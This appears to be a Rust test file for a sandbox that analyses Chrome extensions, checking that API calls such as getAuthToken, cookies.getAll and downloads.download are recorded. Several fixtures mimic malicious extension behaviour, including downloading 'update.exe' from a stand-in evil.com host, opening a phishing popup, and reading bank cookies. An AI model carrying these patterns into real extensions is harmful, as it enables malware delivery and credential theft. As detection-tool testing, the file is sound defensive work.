use jsdet_chrome_ext::state::ExtensionState;
use jsdet_chrome_ext::{AnalysisProfile, ChromeExtBridge, Manifest};
use jsdet_core::bridge::Bridge;
use jsdet_core::{CompiledModule, Observation, PersistentSandbox, SandboxConfig};
use std::sync::Arc;
fn make_sandbox(perms: &str, handler: &str) -> PersistentSandbox {
let json = format!(
r#"{{"name":"ApiTest","manifest_version":3,"version":"1.0",
"background":{{"service_worker":"sw.js"}},
"permissions":[{perms}]}}"#
);
let module = CompiledModule::new().unwrap();
let manifest = Manifest::parse(&json).unwrap();
let bridge: Arc<dyn Bridge> = Arc::new(ChromeExtBridge::new(
manifest.clone(),
AnalysisProfile::default(),
ExtensionState::default_with_id("api-test"),
));
let config = SandboxConfig {
max_fuel: 50_000_000,
max_memory_bytes: 32 * 1024 * 1024,
timeout_ms: 3000,
..SandboxConfig::default()
};
let mut sb = PersistentSandbox::new(&module, bridge, &config).unwrap();
let bootstrap = jsdet_chrome_ext::bootstrap::generate_bootstrap(&manifest);
sb.load(&[bootstrap, handler.to_string()]).unwrap();
sb
}
fn fire(sb: &mut PersistentSandbox, msg: &str) -> Vec<Observation> {
sb.eval_only(&format!(
"chrome.runtime._fireOnMessage({msg}, {{tab:{{id:1}},id:'t'}}, function(){{}});"
))
}
fn has_api(obs: &[Observation], api: &str) -> bool {
obs.iter()
.any(|o| matches!(o, Observation::ApiCall { api: a, .. } if a.contains(api)))
}
#[test]
fn identity_get_auth_token() {
let mut sb = make_sandbox(
r#""identity""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.identity.getAuthToken({interactive: false}, function(token) {});
});
"#,
);
let obs = fire(&mut sb, r#"{}"#);
assert!(has_api(&obs, "chrome.identity.getAuthToken"));
}
#[test]
fn bookmarks_get_tree() {
let mut sb = make_sandbox(
r#""bookmarks""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.bookmarks.getTree(function(tree) {});
});
"#,
);
let obs = fire(&mut sb, r#"{}"#);
assert!(has_api(&obs, "chrome.bookmarks.getTree"));
}
#[test]
fn history_search() {
let mut sb = make_sandbox(
r#""history""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.history.search({text: msg.query}, function(results) {});
});
"#,
);
let obs = fire(&mut sb, r#"{"query":"bank"}"#);
assert!(has_api(&obs, "chrome.history.search"));
}
#[test]
fn downloads_download() {
let mut sb = make_sandbox(
r#""downloads""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.downloads.download({url: msg.url, filename: msg.name});
});
"#,
);
let obs = fire(
&mut sb,
r#"{"url":"https://evil.com/malware","name":"update.exe"}"#,
);
assert!(has_api(&obs, "chrome.downloads.download"));
}
#[test]
fn notifications_create() {
let mut sb = make_sandbox(
r#""notifications""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.notifications.create('n1', {type:'basic', title:msg.title, message:msg.body});
});
"#,
);
let obs = fire(&mut sb, r#"{"title":"Alert","body":"Click here"}"#);
assert!(has_api(&obs, "chrome.notifications.create"));
}
#[test]
fn windows_create() {
let mut sb = make_sandbox(
r#""tabs""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.windows.create({url: msg.url, type: 'popup'});
});
"#,
);
let obs = fire(&mut sb, r#"{"url":"https://evil.com/phish"}"#);
assert!(has_api(&obs, "chrome.windows.create"));
}
#[test]
fn context_menus_create() {
let mut sb = make_sandbox(
r#""tabs""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.contextMenus.create({id: 'menu1', title: msg.title, contexts: ['all']});
});
"#,
);
let obs = fire(&mut sb, r#"{"title":"Inject Script"}"#);
assert!(has_api(&obs, "chrome.contextMenus.create"));
}
#[test]
fn i18n_get_message() {
let mut sb = make_sandbox(
r#""tabs""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
var label = chrome.i18n.getMessage(msg.key);
});
"#,
);
let obs = fire(&mut sb, r#"{"key":"appName"}"#);
let _ = obs;
}
#[test]
fn storage_set_and_get() {
let mut sb = make_sandbox(
r#""storage""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.storage.local.set({key: msg.data});
chrome.storage.local.get('key', function(result) {});
});
"#,
);
let obs = fire(&mut sb, r#"{"data":"sensitive"}"#);
assert!(has_api(&obs, "chrome.storage.local.set"));
assert!(has_api(&obs, "chrome.storage.local.get"));
}
#[test]
fn cookies_get_all() {
let mut sb = make_sandbox(
r#""cookies""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.cookies.getAll({domain: msg.domain}, function(cookies) {});
});
"#,
);
let obs = fire(&mut sb, r#"{"domain":"bank.com"}"#);
assert!(has_api(&obs, "chrome.cookies.getAll"));
}
#[test]
fn alarms_create() {
let mut sb = make_sandbox(
r#""alarms""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.alarms.create('check', {periodInMinutes: 1});
});
"#,
);
let obs = fire(&mut sb, r#"{}"#);
assert!(has_api(&obs, "chrome.alarms.create"));
}
#[test]
fn permissions_get_all() {
let mut sb = make_sandbox(
r#""tabs""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
chrome.permissions.getAll(function(perms) {});
});
"#,
);
let obs = fire(&mut sb, r#"{}"#);
assert!(has_api(&obs, "chrome.permissions.getAll"));
}
#[test]
fn web_api_polyfills_dont_crash() {
let mut sb = make_sandbox(
r#""tabs""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
// These should exist and not crash
var url = new URL('https://example.com/path?q=1');
var encoder = new TextEncoder();
var bytes = encoder.encode('hello');
var id = crypto.randomUUID();
var data = new FormData();
data.append('key', 'value');
console.log('test', url.hostname, id);
setTimeout(function() {}, 100);
});
"#,
);
let obs = fire(&mut sb, r#"{}"#);
let _ = obs;
}
#[test]
fn atob_btoa_dont_crash() {
let mut sb = make_sandbox(
r#""tabs""#,
r#"
chrome.runtime.onMessage.addListener(function(msg) {
try {
if (typeof btoa === 'function') {
var encoded = btoa('hello');
atob(encoded);
}
} catch(e) {}
});
"#,
);
let obs = fire(&mut sb, r#"{}"#);
let _ = obs;
}